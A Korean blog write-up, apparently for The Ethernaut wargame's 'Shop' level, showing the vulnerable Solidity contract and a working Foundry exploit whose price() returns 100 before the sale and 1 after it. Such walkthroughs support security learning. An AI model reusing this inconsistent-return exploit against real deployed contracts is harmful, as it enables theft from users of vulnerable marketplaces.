728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
얘도 문제를 애매하게 써놨다
대충 해석하면 물건을 사는데 price를 _buyer.price()로 바꾼다.
요 부분에서 price를 100보다 낮추면 된다.
그리고 interface는 msg.sender 컨트랙트에서 함수를 구현할 수 있게 해주는 기능이다.
즉, 함수를 미리 선언만 해놓고 구현은 해당 컨트랙트에서 할 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/shop.sol";
contract Attack is Buyer {
Shop public target;
constructor(){
address payable targetAddress = payable(0x6207B96C5A26B07394e97611583cCC9136eBeeF3);
target = Shop(targetAddress);
}
function price() external view override returns (uint256){
if(target.isSold()){
return 1;
}
else{
return 100;
}
}
function attack() external{
target.buy();
}
}
contract ShopSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack exploit = new Attack();
exploit.attack();
vm.stopBroadcast();
}
}
override를 써서 price를 Attack contract에서 구현했다.
원래였다면 뭐 변수 하나 할당해서 첫번째 요청 들어오면 100, 두번째 요청 들어오면 1 이렇게 할려 했는데 view에선 변수를 바꾸지 못하므로 유일하게 바뀌어지는 isSold를 사용해서 해당 isSold가 true이면 1, false면 100을 리턴하게 해줬다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Denial (0) | 2025.02.03 |
---|---|
[The Ethernaut] Alien Codex (0) | 2025.02.03 |
[The Ethernaut] Magic Number (0) | 2025.02.02 |
[The Ethernaut] Recovery (0) | 2025.02.02 |
[The Ethernaut] Preservation (0) | 2025.02.02 |